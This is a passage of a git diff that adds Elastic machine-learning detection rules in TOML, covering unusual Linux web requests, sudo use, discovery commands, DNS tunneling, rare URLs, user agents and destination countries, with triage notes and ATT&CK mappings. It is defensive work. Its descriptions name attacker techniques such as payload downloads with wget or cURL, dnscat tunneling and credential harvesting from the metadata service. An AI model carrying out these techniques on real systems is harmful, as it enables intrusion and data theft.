"linux_anomalous_network_service" +name = "Unusual Linux Network Service" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "52afbdc5-db15-596e-bc35-f5707f820c4b" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_network_url_activity.toml b/rules/ml/ml_linux_anomalous_network_url_activity.toml new file mode 100644 index 000000000..af83c72b8 --- /dev/null +++ b/rules/ml/ml_linux_anomalous_network_url_activity.toml @@ -0,0 +1,33 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected an unusual web URL request from a Linux host, which can indicate malware delivery and +execution. Wget and cURL are commonly used by Linux programs to download code and data. Most of the time, their usage is +entirely normal. Generally, because they use a list of URLs, they repeatedly download from the same locations. However, +Wget and cURL are sometimes used to deliver Linux exploit payloads, and threat actors use these tools to download +additional software and code. For these reasons, unusual URLs can indicate unauthorized downloads or threat activity. +""" +false_positives = [ + """ + A new and unusual program or artifact download in the course of software upgrades, debugging, or troubleshooting + could trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_anomalous_network_url_activity_ecs" +name = "Unusual Linux Web Activity" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "52afbdc5-db15-485e-bc35-f5707f820c4c" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_process_all_hosts.toml b/rules/ml/ml_linux_anomalous_process_all_hosts.toml new file mode 100644 index 000000000..70207631f --- /dev/null +++ b/rules/ml/ml_linux_anomalous_process_all_hosts.toml @@ -0,0 +1,38 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Searches for rare processes running on multiple Linux hosts in an entire fleet or network. This reduces the detection of +false positives since automated maintenance processes usually only run occasionally on a single machine but are common +to all or many hosts in a fleet. +""" +false_positives = [ + """ + A newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this + alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["linux_anomalous_process_all_hosts_ecs", "v2_linux_anomalous_process_all_hosts_ecs"] +name = "Anomalous Process For a Linux Population" +note = """## Triage and analysis + +### Investigating an Unusual Linux Process +Detection alerts from this rule indicate the presence of a Linux process that is rare and unusual for all of the monitored Linux hosts for which Auditbeat data is available. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is this program part of an expected workflow for the user who ran this program on this host? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "647fc812-7996-4795-8869-9c4ea595fe88" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_anomalous_sudo_activity.toml b/rules/ml/ml_linux_anomalous_sudo_activity.toml new file mode 100644 index 000000000..012cd8994 --- /dev/null +++ b/rules/ml/ml_linux_anomalous_sudo_activity.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +Looks for sudo activity from an unusual user context. An unusual sudo user could be due to troubleshooting activity or +it could be a sign of credentialed access via compromised accounts. +""" +false_positives = [ + """ + Uncommon sudo activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_rare_sudo_user" +name = "Unusual Sudo Activity" +risk_score = 21 +rule_id = "1e9fc667-9ff1-4b33-9f40-fefca8537eb0" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/ml/ml_linux_anomalous_user_name.toml b/rules/ml/ml_linux_anomalous_user_name.toml new file mode 100644 index 000000000..c0fbb90e9 --- /dev/null +++ b/rules/ml/ml_linux_anomalous_user_name.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected activity for a username that is not normally active, which can indicate unauthorized +changes, activity by unauthorized users, lateral movement, or compromised credentials. In many organizations, new +usernames are not often created apart from specific types of system activities, such as creating new accounts for new +employees. These user accounts quickly become active and routine. Events from rarely used usernames can point to +suspicious activity. Additionally, automated Linux fleets tend to see activity from rarely used usernames only when +personnel log in to make authorized or unauthorized changes, or threat actors have acquired credentials and log in for +malicious purposes. Unusual usernames can also indicate pivoting, where compromised credentials are used to try and move +laterally from one host to another. +""" +false_positives = [ + """ + Uncommon user activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["linux_anomalous_user_name_ecs", "v2_linux_anomalous_user_name_ecs"] +name = "Unusual Linux Username" +note = """## Triage and analysis + +### Investigating an Unusual Linux User +Detection alerts from this rule indicate activity for a Linux user name that is rare and unusual. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is this program part of an expected workflow for the user who ran this program on this host? Could this be related to troubleshooting or debugging activity by a developer or site reliability engineer? +- Examine the history of user activity. If this user only manifested recently, it might be a service account for a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks that the user is performing.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "b347b919-665f-4aac-b9e8-68369bf2340c" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_linux_system_information_discovery.toml b/rules/ml/ml_linux_system_information_discovery.toml new file mode 100644 index 000000000..1d3b8d301 --- /dev/null +++ b/rules/ml/ml_linux_system_information_discovery.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +Looks for commands related to system information discovery from an unusual user context. This can be due to uncommon +troubleshooting activity or due to a compromised account. A compromised account may be used to engage in system +information discovery in order to gather detailed information about system configuration and software versions. This may +be a precursor to selection of a persistence mechanism or a method of privilege elevation. +""" +false_positives = [ + """ + Uncommon user command activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_system_information_discovery" +name = "Unusual Linux System Information Discovery Activity" +risk_score = 21 +rule_id = "d4af3a06-1e0a-48ec-b96a-faf2309fae46" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1082" +name = "System Information Discovery" +reference = "https://attack.mitre.org/techniques/T1082/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/ml/ml_linux_system_network_configuration_discovery.toml b/rules/ml/ml_linux_system_network_configuration_discovery.toml new file mode 100644 index 000000000..2894a1f24 --- /dev/null +++ b/rules/ml/ml_linux_system_network_configuration_discovery.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 25 +author = ["Elastic"] +description = """ +Looks for commands related to system network configuration discovery from an unusual user context. This can be due to +uncommon troubleshooting activity or due to a compromised account. A compromised account may be used by a threat actor +to engage in system network configuration discovery in order to increase their understanding of connected networks and +hosts. This information may be used to shape follow-up behaviors such as lateral movement or additional discovery. +""" +false_positives = [ + """ + Uncommon user command activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_network_configuration_discovery" +name = "Unusual Linux System Network Configuration Discovery" +risk_score = 21 +rule_id = "f9590f47-6bd5-4a49-bd49-a2f886476fb9" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1016" +name = "System Network Configuration Discovery" +reference = "https://attack.mitre.org/techniques/T1016/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/ml/ml_linux_system_network_connection_discovery.toml b/rules/ml/ml_linux_system_network_connection_discovery.toml new file mode 100644 index 000000000..40adf6323 --- /dev/null +++ b/rules/ml/ml_linux_system_network_connection_discovery.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 25 +author = ["Elastic"] +description = """ +Looks for commands related to system network connection discovery from an unusual user context. This can be due to +uncommon troubleshooting activity or due to a compromised account. A compromised account may be used by a threat actor +to engage in system network connection discovery in order to increase their understanding of connected services and +systems. This information may be used to shape follow-up behaviors such as lateral movement or additional discovery. +""" +false_positives = [ + """ + Uncommon user command activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_network_connection_discovery" +name = "Unusual Linux Network Connection Discovery" +risk_score = 21 +rule_id = "c28c4d8c-f014-40ef-88b6-79a1d67cd499" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1049" +name = "System Network Connections Discovery" +reference = "https://attack.mitre.org/techniques/T1049/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/ml/ml_linux_system_process_discovery.toml b/rules/ml/ml_linux_system_process_discovery.toml new file mode 100644 index 000000000..d72c928e7 --- /dev/null +++ b/rules/ml/ml_linux_system_process_discovery.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Looks for commands related to system process discovery from an unusual user context. This can be due to uncommon +troubleshooting activity or due to a compromised account. A compromised account may be used by a threat actor to engage +in system process discovery in order to increase their understanding of software applications running on a target host +or network. This may be a precursor to selection of a persistence mechanism or a method of privilege elevation. +""" +false_positives = [ + """ + Uncommon user command activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_system_process_discovery" +name = "Unusual Linux Process Discovery Activity" +risk_score = 21 +rule_id = "5c983105-4681-46c3-9890-0c66d05e776b" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1057" +name = "Process Discovery" +reference = "https://attack.mitre.org/techniques/T1057/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/ml/ml_linux_system_user_discovery.toml b/rules/ml/ml_linux_system_user_discovery.toml new file mode 100644 index 000000000..19b1e9e91 --- /dev/null +++ b/rules/ml/ml_linux_system_user_discovery.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +Looks for commands related to system user or owner discovery from an unusual user context. This can be due to uncommon +troubleshooting activity or due to a compromised account. A compromised account may be used to engage in system owner or +user discovery in order to identify currently active or primary users of a system. This may be a precursor to additional +discovery, credential dumping or privilege elevation activity. +""" +false_positives = [ + """ + Uncommon user command activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "linux_system_user_discovery" +name = "Unusual Linux System Owner or User Discovery Activity" +risk_score = 21 +rule_id = "59756272-1998-4b8c-be14-e287035c4d10" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1033" +name = "System Owner/User Discovery" +reference = "https://attack.mitre.org/techniques/T1033/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/ml/ml_packetbeat_dns_tunneling.toml b/rules/ml/ml_packetbeat_dns_tunneling.toml new file mode 100644 index 000000000..be739fadb --- /dev/null +++ b/rules/ml/ml_packetbeat_dns_tunneling.toml @@ -0,0 +1,32 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected unusually large numbers of DNS queries for a single top-level DNS domain, which is often +used for DNS tunneling. DNS tunneling can be used for command-and-control, persistence, or data exfiltration activity. +For example, dnscat tends to generate many DNS questions for a top-level domain as it uses the DNS protocol to tunnel +data. +""" +false_positives = [ + """ + DNS domains that use large numbers of child domains, such as software or content distribution networks, can trigger + this alert and such parent domains can be excluded. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "packetbeat_dns_tunneling" +name = "DNS Tunneling" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "91f02f01-969f-4167-8f66-07827ac3bdd9" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_packetbeat_rare_dns_question.toml b/rules/ml/ml_packetbeat_rare_dns_question.toml new file mode 100644 index 000000000..1c168b91d --- /dev/null +++ b/rules/ml/ml_packetbeat_rare_dns_question.toml @@ -0,0 +1,35 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected a rare and unusual DNS query that indicate network activity with unusual DNS domains. +This can be due to initial access, persistence, command-and-control, or exfiltration activity. For example, when a user +clicks on a link in a phishing email or opens a malicious document, a request may be sent to download and run a payload +from an uncommon domain. When malware is already running, it may send requests to an uncommon DNS domain the malware +uses for command-and-control communication. +""" +false_positives = [ + """ + A newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this + alert. Network activity that occurs rarely, in small quantities, can trigger this alert. Possible examples are + browsing technical support or vendor networks sparsely. A user who visits a new or unique web destination may + trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "packetbeat_rare_dns_question" +name = "Unusual DNS Activity" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "746edc4c-c54c-49c6-97a1-651223819448" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_packetbeat_rare_server_domain.toml b/rules/ml/ml_packetbeat_rare_server_domain.toml new file mode 100644 index 000000000..3ff8f3b65 --- /dev/null +++ b/rules/ml/ml_packetbeat_rare_server_domain.toml @@ -0,0 +1,35 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected an unusual network destination domain name. This can be due to initial access, +persistence, command-and-control, or exfiltration activity. For example, when a user clicks on a link in a phishing +email or opens a malicious document, a request may be sent to download and run a payload from an uncommon web server +name. When malware is already running, it may send requests to an uncommon DNS domain the malware uses for +command-and-control communication. +""" +false_positives = [ + """ + Web activity that occurs rarely in small quantities can trigger this alert. Possible examples are browsing technical + support or vendor URLs that are used very sparsely. A user who visits a new and unique web destination may trigger + this alert when the activity is sparse. Web applications that generate URLs unique to a transaction may trigger this + when they are used sparsely. Web domains can be excluded in cases such as these. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "packetbeat_rare_server_domain" +name = "Unusual Network Destination Domain Name" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "17e68559-b274-4948-ad0b-f8415bb31126" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_packetbeat_rare_urls.toml b/rules/ml/ml_packetbeat_rare_urls.toml new file mode 100644 index 000000000..b4f7fd605 --- /dev/null +++ b/rules/ml/ml_packetbeat_rare_urls.toml @@ -0,0 +1,38 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected a rare and unusual URL that indicates unusual web browsing activity. This can be due to +initial access, persistence, command-and-control, or exfiltration activity. For example, in a strategic web compromise +or watering hole attack, when a trusted website is compromised to target a particular sector or organization, targeted +users may receive emails with uncommon URLs for trusted websites. These URLs can be used to download and run a payload. +When malware is already running, it may send requests to uncommon URLs on trusted websites the malware uses for +command-and-control communication. When rare URLs are observed being requested for a local web server by a remote +source, these can be due to web scanning, enumeration or attack traffic, or they can be due to bots and web scrapers +which are part of common Internet background traffic. +""" +false_positives = [ + """ + Web activity that occurs rarely in small quantities can trigger this alert. Possible examples are browsing technical + support or vendor URLs that are used very sparsely. A user who visits a new and unique web destination may trigger + this alert when the activity is sparse. Web applications that generate URLs unique to a transaction may trigger this + when they are used sparsely. Web domains can be excluded in cases such as these. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "packetbeat_rare_urls" +name = "Unusual Web Request" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "91f02f01-969f-4167-8f55-07827ac3acc9" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_packetbeat_rare_user_agent.toml b/rules/ml/ml_packetbeat_rare_user_agent.toml new file mode 100644 index 000000000..81a0a463d --- /dev/null +++ b/rules/ml/ml_packetbeat_rare_user_agent.toml @@ -0,0 +1,36 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected a rare and unusual user agent indicating web browsing activity by an unusual process +other than a web browser. This can be due to persistence, command-and-control, or exfiltration activity. Uncommon user +agents coming from remote sources to local destinations are often the result of scanners, bots, and web scrapers, which +are part of common Internet background traffic. Much of this is noise, but more targeted attacks on websites using tools +like Burp or SQLmap can sometimes be discovered by spotting uncommon user agents. Uncommon user agents in traffic from +local sources to remote destinations can be any number of things, including harmless programs like weather monitoring or +stock-trading programs. However, uncommon user agents from local sources can also be due to malware or scanning +activity. +""" +false_positives = [ + """ + Web activity that is uncommon, like security scans, may trigger this alert and may need to be excluded. A new or + rarely used program that calls web services may trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "packetbeat_rare_user_agent" +name = "Unusual Web User Agent" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "91f02f01-969f-4167-8d77-07827ac4cee0" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_rare_destination_country.toml b/rules/ml/ml_rare_destination_country.toml new file mode 100644 index 000000000..59c7a9ebb --- /dev/null +++ b/rules/ml/ml_rare_destination_country.toml @@ -0,0 +1,38 @@ +[metadata] +creation_date = "2021/04/05" +maturity = "production" +updated_date = "2021/06/15" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected a rare destination country name in the network logs. +This can be due to initial access, persistence, command-and-control, or exfiltration activity. +For example, when a user clicks on a link in a phishing email or opens a malicious document, +a request may be sent to download and run a payload from a server in a country which does not +normally appear in network traffic or business work-flows. Malware instances and persistence +mechanisms may communicate with command-and-control (C2) infrastructure in their country of origin, +which may be an unusual destination country for the source network. +""" +false_positives = [ + """ + Business workflows that occur very occasionally, and involve a business relationship with an + organization in a country that does not routinely appear in network events, can trigger this alert. + A new business workflow with an organization in a country with which no workflows previously + existed may trigger this alert - although the model will learn that the new destination country + is no longer anomalous as the activity becomes ongoing. Business travelers who roam to many + countries for brief periods may trigger this alert. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "rare_destination_country" +name = "Network Traffic to Rare Destination Country" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "35f86980-1fb1-4dff-b311-3be941549c8d" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" diff --git a/rules/ml/ml_rare_process_by_host_linux.toml b/rules/ml/ml_rare_process_by_host_linux.toml new file mode 100644 index 000000000..e5fb80a4c --- /dev/null +++ b/rules/ml/ml_rare_process_by_host_linux.toml @@ -0,0 +1,38 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies rare processes that do not usually run on individual hosts, which can indicate execution of unauthorized +services, malware, or persistence mechanisms. Processes are considered rare when they only run occasionally as compared +with other processes running on the host. +""" +false_positives = [ + """ + A newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this + alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["rare_process_by_host_linux_ecs", "v2_rare_process_by_host_linux_ecs"] +name = "Unusual Process For a Linux Host" +note = """## Triage and analysis + +### Investigating an Unusual Linux Process +Detection alerts from this rule indicate the presence of a Linux process that is rare and unusual for the host it ran on. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is this program part of an expected workflow for the user who ran this program on this host? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "46f804f5-b289-43d6-a881-9387cf594f75" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_rare_process_by_host_windows.toml b/rules/ml/ml_rare_process_by_host_windows.toml new file mode 100644 index 000000000..ef6b07a7f --- /dev/null +++ b/rules/ml/ml_rare_process_by_host_windows.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies rare processes that do not usually run on individual hosts, which can indicate execution of unauthorized +services, malware, or persistence mechanisms. Processes are considered rare when they only run occasionally as compared +with other processes running on the host. +""" +false_positives = [ + """ + A newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this + alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["rare_process_by_host_windows_ecs", "v2_rare_process_by_host_windows_ecs"] +name = "Unusual Process For a Windows Host" +note = """## Triage and analysis + +### Investigating an Unusual Windows Process + +Searching for abnormal Windows processes is a good methodology to find potentially malicious activity within a network. +Understanding what is commonly run within an environment and developing baselines for legitimate activity can help +uncover potential malware and suspicious behaviors. + +#### Possible investigation steps: +- Consider the user as identified by the `user.name` field. Is this program part of an expected workflow for the user who ran this program on this host? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process metadata like the values of the Company, Description and Product fields which may indicate whether the program is associated with an expected software vendor or package. +- Examine arguments and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing. +- Consider the same for the parent process. If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious. +- If you have file hash values in the event data, and you suspect malware, you can optionally run a search for the file hash to see if the file is identified as malware by anti-malware tools. + +### False Positive Analysis +- Validate the unusual Windows process is not related to new benign software installation activity. If related to +legitimate software, this can be done by leveraging the exception workflow in the Kibana Security App or Elasticsearch +API to tune this rule to your environment. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. It's possible that a small number of endpoints +such as servers that have very unique software that might appear to be unusual, but satisfy a specific business need. + +### Related Rules +- Anomalous Windows Process Creation +- Unusual Windows Path Activity +- Unusual Windows Process Calling the Metadata Service + +### Response and Remediation +- This rule is related to process execution events and should be immediately reviewed and investigated to determine if malicious. +- Based on validation and if malicious, the impacted machine should be isolated and analyzed to determine other post-compromise +behavior such as setting up persistence or performing lateral movement. +- Look into preventive measures such as Windows Defender Application Control and AppLocker to gain better control on +what is allowed to run on Windows infrastructure. +""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "6d448b96-c922-4adb-b51c-b767f1ea5b76" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_spike_in_traffic_to_a_country.toml b/rules/ml/ml_spike_in_traffic_to_a_country.toml new file mode 100644 index 000000000..02b2266bb --- /dev/null +++ b/rules/ml/ml_spike_in_traffic_to_a_country.toml @@ -0,0 +1,36 @@ +[metadata] +creation_date = "2021/04/05" +maturity = "production" +updated_date = "2021/06/15" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected an unusually large spike in network activity to one +destination country in the network logs. This could be due to unusually large amounts +of reconnaissance or enumeration traffic. Data exfiltration activity may also produce +such a surge in traffic to a destination country which does not normally appear in network +traffic or business work-flows. Malware instances and persistence mechanisms may communicate +with command-and-control (C2) infrastructure in their country of origin, which may be an +unusual destination country for the source network. +""" +false_positives = [ + """ + Business workflows that occur very occasionally, and involve an unusual surge in network traffic + to one destination country, can trigger this alert. A new business workflow or a surge in business + activity in a particular country may trigger this alert. Business travelers who roam to many + countries for brief periods may trigger this alert if they engage in volumetric network activity. + """, +] +from = "now-30m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "high_count_by_destination_country" +name = "Spike in Network Traffic To a Country" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "c7db5533-ca2a-41f6-a8b0-ee98abe0f573" +severity = "low" +tags = ["Elastic", "Network", "Threat Detection", "ML"] +type = "machine_learning" diff --git a/rules/ml/ml_suspicious_login_activity.toml b/rules/ml/ml_suspicious_login_activity.toml new file mode 100644 index 000000000..f35e95e06 --- /dev/null +++ b/rules/ml/ml_suspicious_login_activity.toml @@ -0,0 +1,27 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = "Identifies an unusually high number of authentication attempts." +false_positives = [ + """ + Security audits may trigger this alert. Conditions that generate bursts of failed logins, such as misconfigured + applications or account lockouts could trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "suspicious_login_activity_ecs" +name = "Unusual Login Activity" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "4330272b-9724-4bc6-a3ca-f1532b81e5c2" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_metadata_process.toml b/rules/ml/ml_windows_anomalous_metadata_process.toml new file mode 100644 index 000000000..4edf9de74 --- /dev/null +++ b/rules/ml/ml_windows_anomalous_metadata_process.toml @@ -0,0 +1,29 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Looks for anomalous access to the metadata service by an unusual process. The metadata service may be targeted in order +to harvest credentials or user data scripts containing secrets. +""" +false_positives = [ + """ + A newly installed program or one that runs very rarely as part of a monthly or 